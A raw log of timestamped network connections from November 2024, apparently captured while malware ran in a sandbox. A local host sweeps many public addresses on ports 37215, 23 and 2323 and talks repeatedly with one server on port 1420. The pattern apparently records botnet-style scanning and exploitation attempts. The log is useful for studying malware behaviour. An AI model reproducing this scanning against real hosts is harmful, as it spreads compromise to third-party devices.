Nov 3, 2024 15:37:20.486139059 CET	42360	37215	192.168.2.14	197.136.16.17
Nov 3, 2024 15:37:20.486149073 CET	44086	37215	192.168.2.14	156.244.173.36
Nov 3, 2024 15:37:20.486149073 CET	44086	37215	192.168.2.14	156.244.173.36
Nov 3, 2024 15:37:20.486151934 CET	44602	37215	192.168.2.14	156.244.173.36
Nov 3, 2024 15:37:20.486166000 CET	45250	37215	192.168.2.14	156.58.86.200
Nov 3, 2024 15:37:20.486166000 CET	45250	37215	192.168.2.14	156.58.86.200
Nov 3, 2024 15:37:20.486172915 CET	45766	37215	192.168.2.14	156.58.86.200
Nov 3, 2024 15:37:20.486186028 CET	44396	37215	192.168.2.14	197.95.159.78
Nov 3, 2024 15:37:20.486186028 CET	44396	37215	192.168.2.14	197.95.159.78
Nov 3, 2024 15:37:20.486191034 CET	44912	37215	192.168.2.14	197.95.159.78
Nov 3, 2024 15:37:20.486197948 CET	50218	37215	192.168.2.14	41.18.84.78
Nov 3, 2024 15:37:20.486197948 CET	50218	37215	192.168.2.14	41.18.84.78
Nov 3, 2024 15:37:20.486203909 CET	50734	37215	192.168.2.14	41.18.84.78
Nov 3, 2024 15:37:20.486218929 CET	53874	37215	192.168.2.14	156.106.155.75
Nov 3, 2024 15:37:20.486218929 CET	53874	37215	192.168.2.14	156.106.155.75
Nov 3, 2024 15:37:20.486221075 CET	54390	37215	192.168.2.14	156.106.155.75
Nov 3, 2024 15:37:20.486234903 CET	50610	37215	192.168.2.14	197.40.83.70
Nov 3, 2024 15:37:20.486234903 CET	50610	37215	192.168.2.14	197.40.83.70
Nov 3, 2024 15:37:20.486255884 CET	51126	37215	192.168.2.14	197.40.83.70
Nov 3, 2024 15:37:20.486258030 CET	50748	37215	192.168.2.14	197.193.109.8
Nov 3, 2024 15:37:20.486258030 CET	50748	37215	192.168.2.14	197.193.109.8
Nov 3, 2024 15:37:20.486277103 CET	51264	37215	192.168.2.14	197.193.109.8
Nov 3, 2024 15:37:20.486280918 CET	53406	37215	192.168.2.14	156.23.22.42
Nov 3, 2024 15:37:20.486280918 CET	53406	37215	192.168.2.14	156.23.22.42
Nov 3, 2024 15:37:20.486289978 CET	53922	37215	192.168.2.14	156.23.22.42
Nov 3, 2024 15:37:20.486293077 CET	59706	37215	192.168.2.14	156.12.15.170
Nov 3, 2024 15:37:20.486310005 CET	59706	37215	192.168.2.14	156.12.15.170
Nov 3, 2024 15:37:20.486318111 CET	60222	37215	192.168.2.14	156.12.15.170
Nov 3, 2024 15:37:20.486318111 CET	42438	37215	192.168.2.14	197.252.222.59
Nov 3, 2024 15:37:20.486319065 CET	42438	37215	192.168.2.14	197.252.222.59
Nov 3, 2024 15:37:20.486335039 CET	42954	37215	192.168.2.14	197.252.222.59
Nov 3, 2024 15:37:20.490452051 CET	37215	45654	41.187.40.170	192.168.2.14
Nov 3, 2024 15:37:20.490586042 CET	37215	45654	41.187.40.170	192.168.2.14
Nov 3, 2024 15:37:20.490597010 CET	37215	44784	156.166.164.0	192.168.2.14
Nov 3, 2024 15:37:20.490812063 CET	37215	50390	197.146.222.70	192.168.2.14
Nov 3, 2024 15:37:20.490852118 CET	37215	50390	197.146.222.70	192.168.2.14
Nov 3, 2024 15:37:20.490860939 CET	37215	39338	41.104.134.176	192.168.2.14
Nov 3, 2024 15:37:20.490955114 CET	37215	41744	156.1.29.107	192.168.2.14
Nov 3, 2024 15:37:20.490963936 CET	37215	41744	156.1.29.107	192.168.2.14
Nov 3, 2024 15:37:20.490973949 CET	37215	59220	197.180.247.83	192.168.2.14
Nov 3, 2024 15:37:20.490987062 CET	37215	59220	197.180.247.83	192.168.2.14
Nov 3, 2024 15:37:20.491035938 CET	37215	53048	156.135.86.124	192.168.2.14
Nov 3, 2024 15:37:20.491045952 CET	37215	53048	156.135.86.124	192.168.2.14
Nov 3, 2024 15:37:20.491110086 CET	37215	57962	197.187.11.183	192.168.2.14
Nov 3, 2024 15:37:20.491225004 CET	37215	57962	197.187.11.183	192.168.2.14
Nov 3, 2024 15:37:20.491235018 CET	37215	56492	197.160.111.112	192.168.2.14
Nov 3, 2024 15:37:20.491242886 CET	37215	56492	197.160.111.112	192.168.2.14
Nov 3, 2024 15:37:20.491251945 CET	37215	49824	41.129.72.93	192.168.2.14
Nov 3, 2024 15:37:20.491358042 CET	37215	49824	41.129.72.93	192.168.2.14
Nov 3, 2024 15:37:20.491381884 CET	37215	51632	156.225.238.60	192.168.2.14
Nov 3, 2024 15:37:20.491399050 CET	37215	51632	156.225.238.60	192.168.2.14
Nov 3, 2024 15:37:20.491409063 CET	37215	41844	197.136.16.17	192.168.2.14
Nov 3, 2024 15:37:20.491503000 CET	37215	41844	197.136.16.17	192.168.2.14
Nov 3, 2024 15:37:20.491518021 CET	37215	44086	156.244.173.36	192.168.2.14
Nov 3, 2024 15:37:20.491527081 CET	37215	44086	156.244.173.36	192.168.2.14
Nov 3, 2024 15:37:20.491535902 CET	37215	45250	156.58.86.200	192.168.2.14
Nov 3, 2024 15:37:20.491602898 CET	37215	45250	156.58.86.200	192.168.2.14
Nov 3, 2024 15:37:20.491614103 CET	37215	44396	197.95.159.78	192.168.2.14
Nov 3, 2024 15:37:20.491624117 CET	37215	44396	197.95.159.78	192.168.2.14
Nov 3, 2024 15:37:20.491632938 CET	37215	50218	41.18.84.78	192.168.2.14
Nov 3, 2024 15:37:20.491645098 CET	37215	50218	41.18.84.78	192.168.2.14
Nov 3, 2024 15:37:20.491648912 CET	37215	53874	156.106.155.75	192.168.2.14
Nov 3, 2024 15:37:20.491684914 CET	37215	53874	156.106.155.75	192.168.2.14
Nov 3, 2024 15:37:20.491698980 CET	37215	50610	197.40.83.70	192.168.2.14
Nov 3, 2024 15:37:20.491718054 CET	37215	50610	197.40.83.70	192.168.2.14
Nov 3, 2024 15:37:20.491769075 CET	37215	50748	197.193.109.8	192.168.2.14
Nov 3, 2024 15:37:20.491776943 CET	37215	50748	197.193.109.8	192.168.2.14
Nov 3, 2024 15:37:20.491787910 CET	37215	53406	156.23.22.42	192.168.2.14
Nov 3, 2024 15:37:20.491835117 CET	37215	53406	156.23.22.42	192.168.2.14
Nov 3, 2024 15:37:20.491843939 CET	37215	59706	156.12.15.170	192.168.2.14
Nov 3, 2024 15:37:20.491847992 CET	37215	59706	156.12.15.170	192.168.2.14
Nov 3, 2024 15:37:20.491852045 CET	37215	42438	197.252.222.59	192.168.2.14
Nov 3, 2024 15:37:20.491863012 CET	37215	42438	197.252.222.59	192.168.2.14
Nov 3, 2024 15:37:20.537228107 CET	35366	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:37:20.537228107 CET	51626	37215	192.168.2.14	197.125.163.29
Nov 3, 2024 15:37:20.537233114 CET	41750	23	192.168.2.14	84.159.114.234
Nov 3, 2024 15:37:20.537235022 CET	42200	37215	192.168.2.14	197.163.158.9
Nov 3, 2024 15:37:20.537233114 CET	39920	37215	192.168.2.14	156.8.251.171
Nov 3, 2024 15:37:20.537236929 CET	42528	37215	192.168.2.14	156.224.31.241
Nov 3, 2024 15:37:20.538016081 CET	37215	39338	41.104.134.176	192.168.2.14
Nov 3, 2024 15:37:20.538034916 CET	37215	44784	156.166.164.0	192.168.2.14
Nov 3, 2024 15:37:20.542181969 CET	1420	35366	198.12.107.126	192.168.2.14
Nov 3, 2024 15:37:20.542201042 CET	37215	51626	197.125.163.29	192.168.2.14
Nov 3, 2024 15:37:20.542211056 CET	37215	42528	156.224.31.241	192.168.2.14
Nov 3, 2024 15:37:20.542254925 CET	35366	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:37:20.542257071 CET	42528	37215	192.168.2.14	156.224.31.241
Nov 3, 2024 15:37:20.542284966 CET	51626	37215	192.168.2.14	197.125.163.29
Nov 3, 2024 15:37:20.542325020 CET	35366	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:37:20.542488098 CET	23	41750	84.159.114.234	192.168.2.14
Nov 3, 2024 15:37:20.542500973 CET	37215	42200	197.163.158.9	192.168.2.14
Nov 3, 2024 15:37:20.542541981 CET	41750	23	192.168.2.14	84.159.114.234
Nov 3, 2024 15:37:20.542541981 CET	42200	37215	192.168.2.14	197.163.158.9
Nov 3, 2024 15:37:20.542752028 CET	42528	37215	192.168.2.14	156.224.31.241
Nov 3, 2024 15:37:20.542779922 CET	42528	37215	192.168.2.14	156.224.31.241
Nov 3, 2024 15:37:20.542865992 CET	42708	37215	192.168.2.14	156.224.31.241
Nov 3, 2024 15:37:20.542891979 CET	51626	37215	192.168.2.14	197.125.163.29
Nov 3, 2024 15:37:20.542901039 CET	51626	37215	192.168.2.14	197.125.163.29
Nov 3, 2024 15:37:20.542937040 CET	51806	37215	192.168.2.14	197.125.163.29
Nov 3, 2024 15:37:20.542984962 CET	42200	37215	192.168.2.14	197.163.158.9
Nov 3, 2024 15:37:20.543000937 CET	42200	37215	192.168.2.14	197.163.158.9
Nov 3, 2024 15:37:20.543045998 CET	42386	37215	192.168.2.14	197.163.158.9
Nov 3, 2024 15:37:20.547238111 CET	1420	35366	198.12.107.126	192.168.2.14
Nov 3, 2024 15:37:20.547293901 CET	35366	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:37:20.547837019 CET	37215	51626	197.125.163.29	192.168.2.14
Nov 3, 2024 15:37:20.547852993 CET	37215	42528	156.224.31.241	192.168.2.14
Nov 3, 2024 15:37:20.547864914 CET	37215	42708	156.224.31.241	192.168.2.14
Nov 3, 2024 15:37:20.547869921 CET	37215	51626	197.125.163.29	192.168.2.14
Nov 3, 2024 15:37:20.547873974 CET	37215	51626	197.125.163.29	192.168.2.14
Nov 3, 2024 15:37:20.547883987 CET	23	41750	84.159.114.234	192.168.2.14
Nov 3, 2024 15:37:20.547897100 CET	37215	42200	197.163.158.9	192.168.2.14
Nov 3, 2024 15:37:20.547908068 CET	51626	37215	192.168.2.14	197.125.163.29
Nov 3, 2024 15:37:20.547925949 CET	42708	37215	192.168.2.14	156.224.31.241
Nov 3, 2024 15:37:20.547925949 CET	42200	37215	192.168.2.14	197.163.158.9
Nov 3, 2024 15:37:20.548041105 CET	42708	37215	192.168.2.14	156.224.31.241
Nov 3, 2024 15:37:20.548078060 CET	37215	42200	197.163.158.9	192.168.2.14
Nov 3, 2024 15:37:20.548088074 CET	37215	42200	197.163.158.9	192.168.2.14
Nov 3, 2024 15:37:20.548202038 CET	41750	23	192.168.2.14	84.159.114.234
Nov 3, 2024 15:37:20.548238993 CET	41928	23	192.168.2.14	84.159.114.234
Nov 3, 2024 15:37:20.552077055 CET	1420	35366	198.12.107.126	192.168.2.14
Nov 3, 2024 15:37:20.552792072 CET	37215	51626	197.125.163.29	192.168.2.14
Nov 3, 2024 15:37:20.552802086 CET	37215	42200	197.163.158.9	192.168.2.14
Nov 3, 2024 15:37:20.552941084 CET	37215	42708	156.224.31.241	192.168.2.14
Nov 3, 2024 15:37:20.552988052 CET	42708	37215	192.168.2.14	156.224.31.241
Nov 3, 2024 15:37:20.553031921 CET	23	41750	84.159.114.234	192.168.2.14
Nov 3, 2024 15:37:20.553042889 CET	23	41928	84.159.114.234	192.168.2.14
Nov 3, 2024 15:37:20.553083897 CET	41928	23	192.168.2.14	84.159.114.234
Nov 3, 2024 15:37:20.594557047 CET	37215	42528	156.224.31.241	192.168.2.14
Nov 3, 2024 15:37:20.911813021 CET	23	53342	170.187.237.13	192.168.2.14
Nov 3, 2024 15:37:20.912307024 CET	53342	23	192.168.2.14	170.187.237.13
Nov 3, 2024 15:37:20.912381887 CET	53510	23	192.168.2.14	170.187.237.13
Nov 3, 2024 15:37:20.917423010 CET	23	53342	170.187.237.13	192.168.2.14
Nov 3, 2024 15:37:20.917433023 CET	23	53510	170.187.237.13	192.168.2.14
Nov 3, 2024 15:37:20.917516947 CET	53510	23	192.168.2.14	170.187.237.13
Nov 3, 2024 15:37:21.223855972 CET	37215	38276	156.245.81.105	192.168.2.14
Nov 3, 2024 15:37:21.223982096 CET	38276	37215	192.168.2.14	156.245.81.105
Nov 3, 2024 15:37:21.241178036 CET	41364	23	192.168.2.14	40.112.119.143
Nov 3, 2024 15:37:21.241204977 CET	51048	23	192.168.2.14	48.144.211.27
Nov 3, 2024 15:37:21.241209030 CET	37215	34264	197.163.58.45	192.168.2.14
Nov 3, 2024 15:37:21.241223097 CET	46914	23	192.168.2.14	71.215.194.126
Nov 3, 2024 15:37:21.241231918 CET	60692	23	192.168.2.14	8.127.170.172
Nov 3, 2024 15:37:21.241247892 CET	33480	23	192.168.2.14	180.136.220.145
Nov 3, 2024 15:37:21.241264105 CET	54120	23	192.168.2.14	9.100.226.225
Nov 3, 2024 15:37:21.241275072 CET	60580	23	192.168.2.14	204.18.191.177
Nov 3, 2024 15:37:21.241281986 CET	34582	23	192.168.2.14	150.250.80.200
Nov 3, 2024 15:37:21.241295099 CET	43152	23	192.168.2.14	74.102.159.6
Nov 3, 2024 15:37:21.241303921 CET	46630	23	192.168.2.14	119.240.78.133
Nov 3, 2024 15:37:21.241317034 CET	52110	2323	192.168.2.14	188.113.175.72
Nov 3, 2024 15:37:21.241328955 CET	36734	23	192.168.2.14	14.249.99.146
Nov 3, 2024 15:37:21.241343975 CET	60248	23	192.168.2.14	192.23.173.227
Nov 3, 2024 15:37:21.241350889 CET	52586	23	192.168.2.14	181.62.171.211
Nov 3, 2024 15:37:21.241363049 CET	42914	2323	192.168.2.14	111.165.24.13
Nov 3, 2024 15:37:21.241374016 CET	43830	23	192.168.2.14	150.249.119.122
Nov 3, 2024 15:37:21.241384983 CET	45668	23	192.168.2.14	126.245.223.231
Nov 3, 2024 15:37:21.241386890 CET	49278	23	192.168.2.14	223.192.77.224
Nov 3, 2024 15:37:21.241394043 CET	39428	23	192.168.2.14	90.166.154.147
Nov 3, 2024 15:37:21.241411924 CET	56448	23	192.168.2.14	1.131.183.133
Nov 3, 2024 15:37:21.241425991 CET	51860	23	192.168.2.14	223.188.142.32
Nov 3, 2024 15:37:21.241445065 CET	40644	23	192.168.2.14	71.104.220.97
Nov 3, 2024 15:37:21.241446018 CET	59638	23	192.168.2.14	74.2.128.165
Nov 3, 2024 15:37:21.241453886 CET	33602	23	192.168.2.14	159.254.242.122
Nov 3, 2024 15:37:21.241455078 CET	43198	23	192.168.2.14	19.157.79.111
Nov 3, 2024 15:37:21.241467953 CET	35236	23	192.168.2.14	62.221.23.229
Nov 3, 2024 15:37:21.241467953 CET	48828	23	192.168.2.14	115.126.144.166
Nov 3, 2024 15:37:21.241486073 CET	53746	23	192.168.2.14	41.163.132.167
Nov 3, 2024 15:37:21.241499901 CET	50302	23	192.168.2.14	100.154.199.38
Nov 3, 2024 15:37:21.241516113 CET	37650	23	192.168.2.14	165.106.75.38
Nov 3, 2024 15:37:21.241533995 CET	44022	2323	192.168.2.14	184.252.60.22
Nov 3, 2024 15:37:21.241533995 CET	52622	23	192.168.2.14	91.96.221.255
Nov 3, 2024 15:37:21.241540909 CET	38430	23	192.168.2.14	17.12.226.248
Nov 3, 2024 15:37:21.241540909 CET	53370	23	192.168.2.14	84.231.103.223
Nov 3, 2024 15:37:21.241549015 CET	56486	23	192.168.2.14	139.218.118.52
Nov 3, 2024 15:37:21.241559982 CET	57122	23	192.168.2.14	141.228.154.160
Nov 3, 2024 15:37:21.241564035 CET	55470	23	192.168.2.14	54.7.152.20
Nov 3, 2024 15:37:21.241581917 CET	41514	23	192.168.2.14	44.0.234.239
Nov 3, 2024 15:37:21.241595984 CET	50416	23	192.168.2.14	146.104.122.224
Nov 3, 2024 15:37:21.241605043 CET	51450	2323	192.168.2.14	126.71.233.174
Nov 3, 2024 15:37:21.241617918 CET	40162	23	192.168.2.14	218.239.235.243
Nov 3, 2024 15:37:21.241631985 CET	51666	23	192.168.2.14	70.243.100.82
Nov 3, 2024 15:37:21.241640091 CET	41844	23	192.168.2.14	173.90.225.163
Nov 3, 2024 15:37:21.241658926 CET	49160	23	192.168.2.14	159.206.44.143
Nov 3, 2024 15:37:21.241668940 CET	38510	23	192.168.2.14	210.39.80.43
Nov 3, 2024 15:37:21.241677046 CET	53526	23	192.168.2.14	175.36.88.60
Nov 3, 2024 15:37:21.241691113 CET	34560	23	192.168.2.14	142.90.110.28
Nov 3, 2024 15:37:21.241704941 CET	44232	23	192.168.2.14	39.129.254.10
Nov 3, 2024 15:37:21.241718054 CET	37204	23	192.168.2.14	223.68.115.148
Nov 3, 2024 15:37:21.241735935 CET	39094	2323	192.168.2.14	192.84.103.134
Nov 3, 2024 15:37:21.241792917 CET	45760	23	192.168.2.14	90.135.11.2
Nov 3, 2024 15:37:21.241800070 CET	52294	23	192.168.2.14	58.59.189.111
Nov 3, 2024 15:37:21.241842031 CET	34264	37215	192.168.2.14	197.163.58.45
Nov 3, 2024 15:37:21.246237993 CET	23	41364	40.112.119.143	192.168.2.14
Nov 3, 2024 15:37:21.246248960 CET	23	51048	48.144.211.27	192.168.2.14
Nov 3, 2024 15:37:21.246253967 CET	23	46914	71.215.194.126	192.168.2.14
Nov 3, 2024 15:37:21.246268034 CET	23	60692	8.127.170.172	192.168.2.14
Nov 3, 2024 15:37:21.246279001 CET	23	33480	180.136.220.145	192.168.2.14
Nov 3, 2024 15:37:21.246289968 CET	23	54120	9.100.226.225	192.168.2.14
Nov 3, 2024 15:37:21.246300936 CET	23	34582	150.250.80.200	192.168.2.14
Nov 3, 2024 15:37:21.246310949 CET	23	60580	204.18.191.177	192.168.2.14
Nov 3, 2024 15:37:21.246316910 CET	41364	23	192.168.2.14	40.112.119.143
Nov 3, 2024 15:37:21.246324062 CET	23	43152	74.102.159.6	192.168.2.14
Nov 3, 2024 15:37:21.246328115 CET	46914	23	192.168.2.14	71.215.194.126
Nov 3, 2024 15:37:21.246335030 CET	23	46630	119.240.78.133	192.168.2.14
Nov 3, 2024 15:37:21.246345043 CET	54120	23	192.168.2.14	9.100.226.225
Nov 3, 2024 15:37:21.246355057 CET	34582	23	192.168.2.14	150.250.80.200
Nov 3, 2024 15:37:21.246364117 CET	43152	23	192.168.2.14	74.102.159.6
Nov 3, 2024 15:37:21.246505022 CET	51048	23	192.168.2.14	48.144.211.27
Nov 3, 2024 15:37:21.246531963 CET	60692	23	192.168.2.14	8.127.170.172
Nov 3, 2024 15:37:21.246555090 CET	33480	23	192.168.2.14	180.136.220.145
Nov 3, 2024 15:37:21.246591091 CET	46630	23	192.168.2.14	119.240.78.133
Nov 3, 2024 15:37:21.246593952 CET	60580	23	192.168.2.14	204.18.191.177
Nov 3, 2024 15:37:21.246706963 CET	2323	52110	188.113.175.72	192.168.2.14
Nov 3, 2024 15:37:21.246718884 CET	23	36734	14.249.99.146	192.168.2.14
Nov 3, 2024 15:37:21.246727943 CET	23	60248	192.23.173.227	192.168.2.14
Nov 3, 2024 15:37:21.246750116 CET	23	52586	181.62.171.211	192.168.2.14
Nov 3, 2024 15:37:21.246752024 CET	36734	23	192.168.2.14	14.249.99.146
Nov 3, 2024 15:37:21.246759892 CET	52110	2323	192.168.2.14	188.113.175.72
Nov 3, 2024 15:37:21.246759892 CET	2323	42914	111.165.24.13	192.168.2.14
Nov 3, 2024 15:37:21.246769905 CET	23	43830	150.249.119.122	192.168.2.14
Nov 3, 2024 15:37:21.246771097 CET	60248	23	192.168.2.14	192.23.173.227
Nov 3, 2024 15:37:21.246781111 CET	23	45668	126.245.223.231	192.168.2.14
Nov 3, 2024 15:37:21.246786118 CET	52586	23	192.168.2.14	181.62.171.211
Nov 3, 2024 15:37:21.246795893 CET	42914	2323	192.168.2.14	111.165.24.13
Nov 3, 2024 15:37:21.246798992 CET	23	49278	223.192.77.224	192.168.2.14
Nov 3, 2024 15:37:21.246810913 CET	23	39428	90.166.154.147	192.168.2.14
Nov 3, 2024 15:37:21.246819973 CET	23	56448	1.131.183.133	192.168.2.14
Nov 3, 2024 15:37:21.246831894 CET	23	51860	223.188.142.32	192.168.2.14
Nov 3, 2024 15:37:21.246835947 CET	45668	23	192.168.2.14	126.245.223.231
Nov 3, 2024 15:37:21.246835947 CET	43830	23	192.168.2.14	150.249.119.122
Nov 3, 2024 15:37:21.246840954 CET	23	40644	71.104.220.97	192.168.2.14
Nov 3, 2024 15:37:21.246854067 CET	23	33602	159.254.242.122	192.168.2.14
Nov 3, 2024 15:37:21.246859074 CET	23	43198	19.157.79.111	192.168.2.14
Nov 3, 2024 15:37:21.246860027 CET	49278	23	192.168.2.14	223.192.77.224
Nov 3, 2024 15:37:21.246860981 CET	51860	23	192.168.2.14	223.188.142.32
Nov 3, 2024 15:37:21.246864080 CET	23	59638	74.2.128.165	192.168.2.14
Nov 3, 2024 15:37:21.246876001 CET	23	35236	62.221.23.229	192.168.2.14
Nov 3, 2024 15:37:21.246879101 CET	39428	23	192.168.2.14	90.166.154.147
Nov 3, 2024 15:37:21.246886969 CET	23	48828	115.126.144.166	192.168.2.14
Nov 3, 2024 15:37:21.246891975 CET	23	53746	41.163.132.167	192.168.2.14
Nov 3, 2024 15:37:21.246893883 CET	56448	23	192.168.2.14	1.131.183.133
Nov 3, 2024 15:37:21.246896982 CET	23	50302	100.154.199.38	192.168.2.14
Nov 3, 2024 15:37:21.246902943 CET	59638	23	192.168.2.14	74.2.128.165
Nov 3, 2024 15:37:21.246902943 CET	40644	23	192.168.2.14	71.104.220.97
Nov 3, 2024 15:37:21.246905088 CET	33602	23	192.168.2.14	159.254.242.122
Nov 3, 2024 15:37:21.246907949 CET	23	37650	165.106.75.38	192.168.2.14
Nov 3, 2024 15:37:21.246921062 CET	2323	44022	184.252.60.22	192.168.2.14
Nov 3, 2024 15:37:21.246927977 CET	23	52622	91.96.221.255	192.168.2.14
Nov 3, 2024 15:37:21.246931076 CET	53746	23	192.168.2.14	41.163.132.167
Nov 3, 2024 15:37:21.246932983 CET	43198	23	192.168.2.14	19.157.79.111
Nov 3, 2024 15:37:21.246943951 CET	50302	23	192.168.2.14	100.154.199.38
Nov 3, 2024 15:37:21.246957064 CET	37650	23	192.168.2.14	165.106.75.38
Nov 3, 2024 15:37:21.246961117 CET	35236	23	192.168.2.14	62.221.23.229
Nov 3, 2024 15:37:21.246975899 CET	52622	23	192.168.2.14	91.96.221.255
Nov 3, 2024 15:37:21.246997118 CET	48828	23	192.168.2.14	115.126.144.166
Nov 3, 2024 15:37:21.247008085 CET	44022	2323	192.168.2.14	184.252.60.22
Nov 3, 2024 15:37:21.247076035 CET	36201	2323	192.168.2.14	175.237.228.148
Nov 3, 2024 15:37:21.247097015 CET	36201	23	192.168.2.14	173.195.242.240
Nov 3, 2024 15:37:21.247124910 CET	36201	23	192.168.2.14	180.73.165.231
Nov 3, 2024 15:37:21.247155905 CET	36201	23	192.168.2.14	221.87.70.117
Nov 3, 2024 15:37:21.247169018 CET	36201	23	192.168.2.14	133.210.131.125
Nov 3, 2024 15:37:21.247201920 CET	36201	23	192.168.2.14	190.45.90.157
Nov 3, 2024 15:37:21.247215033 CET	36201	23	192.168.2.14	119.246.89.188
Nov 3, 2024 15:37:21.247226954 CET	36201	23	192.168.2.14	167.203.18.46
Nov 3, 2024 15:37:21.247246981 CET	36201	23	192.168.2.14	70.70.56.193
Nov 3, 2024 15:37:21.247279882 CET	36201	23	192.168.2.14	96.137.194.156
Nov 3, 2024 15:37:21.247292042 CET	36201	2323	192.168.2.14	177.76.89.196
Nov 3, 2024 15:37:21.247325897 CET	36201	23	192.168.2.14	183.178.213.12
Nov 3, 2024 15:37:21.247339010 CET	36201	23	192.168.2.14	169.32.168.206
Nov 3, 2024 15:37:21.247368097 CET	36201	23	192.168.2.14	81.28.66.35
Nov 3, 2024 15:37:21.247380018 CET	36201	23	192.168.2.14	83.232.229.148
Nov 3, 2024 15:37:21.247402906 CET	36201	23	192.168.2.14	169.223.120.63
Nov 3, 2024 15:37:21.247421026 CET	36201	23	192.168.2.14	76.194.246.166
Nov 3, 2024 15:37:21.247440100 CET	36201	23	192.168.2.14	156.4.101.12
Nov 3, 2024 15:37:21.247457027 CET	23	38430	17.12.226.248	192.168.2.14
Nov 3, 2024 15:37:21.247459888 CET	36201	23	192.168.2.14	181.194.228.108
Nov 3, 2024 15:37:21.247467995 CET	23	53370	84.231.103.223	192.168.2.14
Nov 3, 2024 15:37:21.247467995 CET	36201	23	192.168.2.14	187.62.10.176
Nov 3, 2024 15:37:21.247478008 CET	23	56486	139.218.118.52	192.168.2.14
Nov 3, 2024 15:37:21.247489929 CET	23	57122	141.228.154.160	192.168.2.14
Nov 3, 2024 15:37:21.247499943 CET	36201	2323	192.168.2.14	66.186.10.28
Nov 3, 2024 15:37:21.247500896 CET	23	55470	54.7.152.20	192.168.2.14
Nov 3, 2024 15:37:21.247515917 CET	53370	23	192.168.2.14	84.231.103.223
Nov 3, 2024 15:37:21.247515917 CET	38430	23	192.168.2.14	17.12.226.248
Nov 3, 2024 15:37:21.247519970 CET	23	41514	44.0.234.239	192.168.2.14
Nov 3, 2024 15:37:21.247531891 CET	23	50416	146.104.122.224	192.168.2.14
Nov 3, 2024 15:37:21.247531891 CET	57122	23	192.168.2.14	141.228.154.160
Nov 3, 2024 15:37:21.247540951 CET	2323	51450	126.71.233.174	192.168.2.14
Nov 3, 2024 15:37:21.247545004 CET	56486	23	192.168.2.14	139.218.118.52
Nov 3, 2024 15:37:21.247550964 CET	55470	23	192.168.2.14	54.7.152.20
Nov 3, 2024 15:37:21.247551918 CET	23	40162	218.239.235.243	192.168.2.14
Nov 3, 2024 15:37:21.247564077 CET	23	51666	70.243.100.82	192.168.2.14
Nov 3, 2024 15:37:21.247564077 CET	50416	23	192.168.2.14	146.104.122.224
Nov 3, 2024 15:37:21.247572899 CET	41514	23	192.168.2.14	44.0.234.239
Nov 3, 2024 15:37:21.247576952 CET	23	41844	173.90.225.163	192.168.2.14
Nov 3, 2024 15:37:21.247596979 CET	40162	23	192.168.2.14	218.239.235.243
Nov 3, 2024 15:37:21.247602940 CET	51450	2323	192.168.2.14	126.71.233.174
Nov 3, 2024 15:37:21.247612000 CET	23	49160	159.206.44.143	192.168.2.14
Nov 3, 2024 15:37:21.247616053 CET	51666	23	192.168.2.14	70.243.100.82
Nov 3, 2024 15:37:21.247622967 CET	23	38510	210.39.80.43	192.168.2.14
Nov 3, 2024 15:37:21.247627974 CET	23	53526	175.36.88.60	192.168.2.14
Nov 3, 2024 15:37:21.247634888 CET	41844	23	192.168.2.14	173.90.225.163
Nov 3, 2024 15:37:21.247637987 CET	23	34560	142.90.110.28	192.168.2.14
Nov 3, 2024 15:37:21.247649908 CET	23	44232	39.129.254.10	192.168.2.14
Nov 3, 2024 15:37:21.247652054 CET	49160	23	192.168.2.14	159.206.44.143
Nov 3, 2024 15:37:21.247665882 CET	23	37204	223.68.115.148	192.168.2.14
Nov 3, 2024 15:37:21.247672081 CET	38510	23	192.168.2.14	210.39.80.43
Nov 3, 2024 15:37:21.247679949 CET	2323	39094	192.84.103.134	192.168.2.14
Nov 3, 2024 15:37:21.247682095 CET	53526	23	192.168.2.14	175.36.88.60
Nov 3, 2024 15:37:21.247692108 CET	23	45760	90.135.11.2	192.168.2.14
Nov 3, 2024 15:37:21.247701883 CET	34560	23	192.168.2.14	142.90.110.28
Nov 3, 2024 15:37:21.247704029 CET	23	52294	58.59.189.111	192.168.2.14
Nov 3, 2024 15:37:21.247705936 CET	37204	23	192.168.2.14	223.68.115.148
Nov 3, 2024 15:37:21.247724056 CET	44232	23	192.168.2.14	39.129.254.10
Nov 3, 2024 15:37:21.247733116 CET	39094	2323	192.168.2.14	192.84.103.134
Nov 3, 2024 15:37:21.247737885 CET	45760	23	192.168.2.14	90.135.11.2
Nov 3, 2024 15:37:21.247749090 CET	52294	23	192.168.2.14	58.59.189.111
Nov 3, 2024 15:37:21.247786999 CET	36201	23	192.168.2.14	59.146.227.224
Nov 3, 2024 15:37:21.247797966 CET	36201	23	192.168.2.14	97.217.77.241
Nov 3, 2024 15:37:21.247806072 CET	36201	23	192.168.2.14	44.38.32.51
Nov 3, 2024 15:37:21.247838974 CET	36201	23	192.168.2.14	103.53.174.233
Nov 3, 2024 15:37:21.247853041 CET	36201	23	192.168.2.14	171.3.38.49
Nov 3, 2024 15:37:21.247879028 CET	36201	23	192.168.2.14	184.72.192.25
Nov 3, 2024 15:37:21.247903109 CET	36201	23	192.168.2.14	111.62.5.26
Nov 3, 2024 15:37:21.247916937 CET	36201	23	192.168.2.14	157.234.173.132
Nov 3, 2024 15:37:21.247931004 CET	36201	23	192.168.2.14	9.202.217.224
Nov 3, 2024 15:37:21.247957945 CET	36201	2323	192.168.2.14	89.249.8.211
Nov 3, 2024 15:37:21.247982025 CET	36201	23	192.168.2.14	180.146.93.37
Nov 3, 2024 15:37:21.247998953 CET	36201	23	192.168.2.14	200.224.210.102
Nov 3, 2024 15:37:21.248009920 CET	36201	23	192.168.2.14	40.81.33.250
Nov 3, 2024 15:37:21.248032093 CET	36201	23	192.168.2.14	205.177.213.71
Nov 3, 2024 15:37:21.248048067 CET	36201	23	192.168.2.14	53.139.223.153
Nov 3, 2024 15:37:21.248061895 CET	36201	23	192.168.2.14	115.109.1.62
Nov 3, 2024 15:37:21.248081923 CET	36201	23	192.168.2.14	118.0.128.88
Nov 3, 2024 15:37:21.248104095 CET	36201	23	192.168.2.14	105.50.217.77
Nov 3, 2024 15:37:21.248126030 CET	36201	23	192.168.2.14	48.132.7.113
Nov 3, 2024 15:37:21.248152971 CET	36201	2323	192.168.2.14	12.78.235.28
Nov 3, 2024 15:37:21.248178959 CET	36201	23	192.168.2.14	221.31.204.246
Nov 3, 2024 15:37:21.248189926 CET	36201	23	192.168.2.14	32.1.84.67
Nov 3, 2024 15:37:21.248208046 CET	36201	23	192.168.2.14	112.75.62.81
